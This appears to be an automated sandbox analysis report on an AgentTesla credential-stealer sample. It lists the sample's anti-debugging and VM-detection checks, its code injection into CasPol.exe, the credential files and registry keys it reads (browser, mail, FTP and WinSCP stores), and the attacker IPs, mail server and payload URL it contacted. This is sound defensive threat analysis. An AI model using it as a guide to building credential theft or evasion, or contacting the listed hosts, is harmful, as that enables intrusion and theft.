Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14986495060.0000000004F59000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmicvss
Source: CasPol.exe, 00000005.00000002.19734742085.000000000133A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.19734954181.0000000001364000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.19734384547.00000000012FB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14986099860.0000000003481000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14982251535.0000000000768000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14986495060.0000000004F59000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Data Exchange Service
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14986495060.0000000004F59000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Heartbeat Service
Source: CasPol.exe, 00000005.00000002.19736589261.000000000164E000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: vmNETFX.ThreadPod
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14986495060.0000000004F59000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Guest Service Interface
Source: SecuriteInfo.com.Trojan.Inject.11626.exe, 00000001.00000002.14986495060.0000000004F59000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmicheartbeat

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread information set: HideFromDebugger Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_70E21BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 1_2_70E21BFF
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_0339213A rdtsc 1_2_0339213A
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process token adjusted: Debug Jump to behavior
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03398515 mov eax, dword ptr fs:[00000030h] 1_2_03398515
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03398B6A mov eax, dword ptr fs:[00000030h] 1_2_03398B6A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03398B95 mov ebx, dword ptr fs:[00000030h] 1_2_03398B95
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03398B95 mov eax, dword ptr fs:[00000030h] 1_2_03398B95
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03398D84 mov eax, dword ptr fs:[00000030h] 1_2_03398D84
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03398BD4 mov ebx, dword ptr fs:[00000030h] 1_2_03398BD4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03398A3A mov eax, dword ptr fs:[00000030h] 1_2_03398A3A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_03398A08 mov eax, dword ptr fs:[00000030h] 1_2_03398A08
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_0339DAB2 mov eax, dword ptr fs:[00000030h] 1_2_0339DAB2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_0339F0EF mov eax, dword ptr fs:[00000030h] 1_2_0339F0EF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_0339E0D5 mov eax, dword ptr fs:[00000030h] 1_2_0339E0D5
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_0339BB26 LdrInitializeThunk, 1_2_0339BB26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Writes to foreign memory regions
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 1100000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe" Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe" Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject.11626.exe Code function: 1_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 1_2_00403640

Stealing of Sensitive Information
barindex
Yara detected AgentTesla
Source: Yara match File source: 00000005.00000002.19759760809.000000001D7ED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.19758765647.000000001D731000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 4392, type: MEMORYSTR
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\ Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000005.00000002.19758765647.000000001D731000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 4392, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected AgentTesla
Source: Yara match File source: 00000005.00000002.19759760809.000000001D7ED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.19758765647.000000001D731000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 4392, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 635338 Sample: SecuriteInfo.com.Trojan.Inj... Startdate: 27/05/2022 Architecture: WINDOWS Score: 100 26 mail.parkhotelizmir.com 2->26 32 Snort IDS alert for network traffic 2->32 34 Found malware configuration 2->34 36 Malicious sample detected (through community Yara rule) 2->36 38 5 other signatures 2->38 8 SecuriteInfo.com.Trojan.Inject.11626.exe 3 28 2->8         started        signatures3 process4 file5 22 C:\Users\user\AppData\Local\...\System.dll, PE32 8->22 dropped 24 C:\Users\user\AppData\...\ThrottlePlugin.dll, PE32+ 8->24 dropped 40 Writes to foreign memory regions 8->40 42 Tries to detect Any.run 8->42 44 Hides threads from debuggers 8->44 12 CasPol.exe 1 13 8->12         started        16 CasPol.exe 8->16         started        18 CasPol.exe 8->18         started        signatures6 process7 dnsIp8 28 185.222.57.79, 49754, 80 ROOTLAYERNETNL Netherlands 12->28 30 mail.parkhotelizmir.com 45.10.148.33, 49763, 587 EKSENBILISIMTR Turkey 12->30 46 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 12->46 48 Tries to steal Mail credentials (via file / registry access) 12->48 50 Tries to harvest and steal ftp login credentials 12->50 56 3 other signatures 12->56 20 conhost.exe 12->20         started        52 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 16->52 54 Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines) 16->54 signatures9 process10
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.222.57.79
 unknown Netherlands
51447 ROOTLAYERNETNL true
45.10.148.33
 mail.parkhotelizmir.com Turkey
208485 EKSENBILISIMTR true

Contacted Domains

Name IP Active
mail.parkhotelizmir.com 45.10.148.33 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.222.57.79/SALES/muhasebe@par%20v4_zZlYyWbWEF39.bin true
  • Avira URL Cloud: safe
 unknown
http://185.222.57.79/SALES/muhasebe@par%20v4_zZlYyWbWEF39.bin1 true
  • Avira URL Cloud: safe
 unknown